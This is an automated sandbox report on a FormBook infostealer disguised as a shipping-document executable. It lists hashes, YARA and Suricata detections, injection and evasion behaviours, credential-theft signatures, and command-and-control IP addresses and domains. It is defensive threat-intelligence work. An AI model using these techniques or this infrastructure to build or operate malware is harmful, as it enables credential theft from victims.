Edit tour

Windows Analysis Report
SHIPPING DOC MBL+HBL.exe

Overview

General Information

Sample name:	SHIPPING DOC MBL+HBL.exe
Analysis ID:	1511196
MD5:	e57f3cdd911cbaf924bf1e6e7dcc7795
SHA1:	eba646965b6549a2cc716c20f128d989cd192f50
SHA256:	61b3a4a9ae0b5189dd42a97b9c680e3787d9d3da3b481701e5795d16480141b1
Tags:	exeFormbookShipping
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected FormBook

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Found direct / indirect Syscall (likely to bypass EDR)

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Performs DNS queries to domains with low reputation

Queues an APC in another process (thread injection)

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Uncommon Svchost Parent Process

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

SHIPPING DOC MBL+HBL.exe (PID: 7308 cmdline: "C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe" MD5: E57F3CDD911CBAF924BF1E6E7DCC7795)

svchost.exe (PID: 7324 cmdline: "C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

PrWIbKXhdqUKk.exe (PID: 3604 cmdline: "C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

netbtugc.exe (PID: 7704 cmdline: "C:\Windows\SysWOW64\netbtugc.exe" MD5: EE7BBA75B36D54F9E420EB6EE960D146)

PrWIbKXhdqUKk.exe (PID: 3272 cmdline: "C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

firefox.exe (PID: 7940 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.2131318736.00000000030D0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000001.00000002.2131318736.00000000030D0000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2bb30:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13d2f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000006.00000002.3566928575.0000000003400000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.3566928575.0000000003400000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2bb30:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13d2f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000008.00000002.3568694635.0000000004C80000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000008.00000002.3568694635.0000000004C80000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x309df:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x18bde:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000001.00000002.2129407938.0000000000400000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000001.00000002.2129407938.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2f1e3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x173e2:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000006.00000002.3567072049.0000000003580000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.3567072049.0000000003580000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2bb30:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13d2f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000006.00000002.3565538257.0000000003050000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.3565538257.0000000003050000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2bb30:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13d2f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000005.00000002.3567001047.00000000036E0000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000005.00000002.3567001047.00000000036E0000.00000040.00000001.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x586ee1:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x56f0e0:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000001.00000002.2132245829.0000000004200000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000001.00000002.2132245829.0000000004200000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x586ee1:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x56f0e0:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.svchost.exe.400000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
1.2.svchost.exe.400000.0.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2e3e3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x165e2:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
1.2.svchost.exe.400000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
1.2.svchost.exe.400000.0.raw.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2f1e3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x173e2:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01

Sigma Signatures

System Summary

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe", CommandLine: "C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe", ParentImage: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe, ParentProcessId: 7308, ParentProcessName: SHIPPING DOC MBL+HBL.exe, ProcessCommandLine: "C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe", ProcessId: 7324, ProcessName: svchost.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe", CommandLine: "C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe", ParentImage: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe, ParentProcessId: 7308, ParentProcessName: SHIPPING DOC MBL+HBL.exe, ProcessCommandLine: "C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe", ProcessId: 7324, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE FormBook CnC Checkin (GET) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-14T11:11:12.968205+0200	2855465	1	A Network Trojan was detected	192.168.2.4	49737	3.33.130.190	80	TCP
2024-09-14T11:11:37.124367+0200	2855465	1	A Network Trojan was detected	192.168.2.4	49741	18.139.62.226	80	TCP
2024-09-14T11:11:50.612929+0200	2855465	1	A Network Trojan was detected	192.168.2.4	49745	66.81.203.10	80	TCP
2024-09-14T11:12:04.990794+0200	2855465	1	A Network Trojan was detected	192.168.2.4	49749	103.42.108.46	80	TCP
2024-09-14T11:12:18.771437+0200	2855465	1	A Network Trojan was detected	192.168.2.4	49753	3.33.130.190	80	TCP
2024-09-14T11:12:40.145807+0200	2855465	1	A Network Trojan was detected	192.168.2.4	49757	199.59.243.226	80	TCP
2024-09-14T11:12:53.457606+0200	2855465	1	A Network Trojan was detected	192.168.2.4	49761	162.0.239.141	80	TCP
2024-09-14T11:13:14.891931+0200	2855465	1	A Network Trojan was detected	192.168.2.4	49765	84.32.84.32	80	TCP

ETPRO MALWARE FormBook CnC Checkin (POST) M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-14T11:11:29.516502+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49738	18.139.62.226	80	TCP
2024-09-14T11:11:32.059029+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49739	18.139.62.226	80	TCP
2024-09-14T11:11:34.612983+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49740	18.139.62.226	80	TCP
2024-09-14T11:11:42.992237+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49742	66.81.203.10	80	TCP
2024-09-14T11:11:45.518035+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49743	66.81.203.10	80	TCP
2024-09-14T11:11:48.128716+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49744	66.81.203.10	80	TCP
2024-09-14T11:11:57.285087+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49746	103.42.108.46	80	TCP
2024-09-14T11:11:59.884516+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49747	103.42.108.46	80	TCP
2024-09-14T11:12:02.431525+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49748	103.42.108.46	80	TCP
2024-09-14T11:12:11.113126+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49750	3.33.130.190	80	TCP
2024-09-14T11:12:14.599655+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49751	3.33.130.190	80	TCP
2024-09-14T11:12:16.217823+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49752	3.33.130.190	80	TCP
2024-09-14T11:12:32.486159+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49754	199.59.243.226	80	TCP
2024-09-14T11:12:35.042182+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49755	199.59.243.226	80	TCP
2024-09-14T11:12:37.822272+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49756	199.59.243.226	80	TCP
2024-09-14T11:12:45.819857+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49758	162.0.239.141	80	TCP
2024-09-14T11:12:48.348923+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49759	162.0.239.141	80	TCP
2024-09-14T11:12:50.939526+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49760	162.0.239.141	80	TCP
2024-09-14T11:13:07.153462+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49762	84.32.84.32	80	TCP
2024-09-14T11:13:09.671094+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49763	84.32.84.32	80	TCP
2024-09-14T11:13:12.239819+0200	2855464	1	A Network Trojan was detected	192.168.2.4	49764	84.32.84.32	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: SHIPPING DOC MBL+HBL.exe	ReversingLabs: Detection: 63%
Source: SHIPPING DOC MBL+HBL.exe	Virustotal: Detection: 35%			Perma Link

Yara detected FormBook

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2131318736.00000000030D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3566928575.0000000003400000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3568694635.0000000004C80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2129407938.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3567072049.0000000003580000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3565538257.0000000003050000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3567001047.00000000036E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2132245829.0000000004200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: SHIPPING DOC MBL+HBL.exe

Joe Sandbox ML: detected

Source: SHIPPING DOC MBL+HBL.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: PrWIbKXhdqUKk.exe, 00000005.00000000.2047243039.0000000000E7E000.00000002.00000001.01000000.00000005.sdmp, PrWIbKXhdqUKk.exe, 00000008.00000002.3566947457.0000000000E7E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: SHIPPING DOC MBL+HBL.exe, 00000000.00000003.1709765778.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, SHIPPING DOC MBL+HBL.exe, 00000000.00000003.1708441812.0000000003C10000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2131532492.000000000339E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2030952866.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2131532492.0000000003200000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2029045752.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000002.3567257954.00000000037E0000.00000040.00001000.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000003.2127849653.000000000348F000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000003.2133475668.0000000003633000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000002.3567257954.000000000397E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: SHIPPING DOC MBL+HBL.exe, 00000000.00000003.1709765778.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, SHIPPING DOC MBL+HBL.exe, 00000000.00000003.1708441812.0000000003C10000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000002.2131532492.000000000339E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2030952866.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2131532492.0000000003200000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2029045752.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000002.3567257954.00000000037E0000.00000040.00001000.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000003.2127849653.000000000348F000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000003.2133475668.0000000003633000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000002.3567257954.000000000397E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: netbtugc.pdb source: svchost.exe, 00000001.00000003.2094708675.0000000002C1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2130361226.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, PrWIbKXhdqUKk.exe, 00000005.00000003.2064852940.00000000010BB000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: netbtugc.pdbGCTL source: svchost.exe, 00000001.00000003.2094708675.0000000002C1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2130361226.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, PrWIbKXhdqUKk.exe, 00000005.00000003.2064852940.00000000010BB000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E6449B GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00E6449B
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E6C7E8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00E6C7E8
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E6C75D FindFirstFileW,FindClose,	0_2_00E6C75D
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E6F021 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00E6F021
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E6F17E SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00E6F17E
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E6F47F FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00E6F47F
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E63833 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00E63833
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E63B56 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00E63B56
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E6BD48 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00E6BD48

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49752 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49747 -> 103.42.108.46:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49746 -> 103.42.108.46:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49743 -> 66.81.203.10:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49751 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49739 -> 18.139.62.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49742 -> 66.81.203.10:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49745 -> 66.81.203.10:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49760 -> 162.0.239.141:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49755 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49758 -> 162.0.239.141:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49753 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49741 -> 18.139.62.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49754 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49765 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49740 -> 18.139.62.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49738 -> 18.139.62.226:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49749 -> 103.42.108.46:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49748 -> 103.42.108.46:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49761 -> 162.0.239.141:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49764 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49750 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49757 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49737 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49756 -> 199.59.243.226:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49744 -> 66.81.203.10:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49762 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49759 -> 162.0.239.141:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49763 -> 84.32.84.32:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.personal-loans-jp8.xyz
Source:	DNS query: www.quantumnests.xyz
Source:	DNS query: www.siyue.xyz

Source: Joe Sandbox View	IP Address: 18.139.62.226 18.139.62.226
Source: Joe Sandbox View	IP Address: 162.0.239.141 162.0.239.141
Source: Joe Sandbox View	IP Address: 199.59.243.226 199.59.243.226

Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: NAMECHEAP-NETUS NAMECHEAP-NETUS
Source: Joe Sandbox View	ASN Name: CONFLUENCE-NETWORK-INCVG CONFLUENCE-NETWORK-INCVG
Source: Joe Sandbox View	ASN Name: BODIS-NJUS BODIS-NJUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E72404 InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

0_2_00E72404

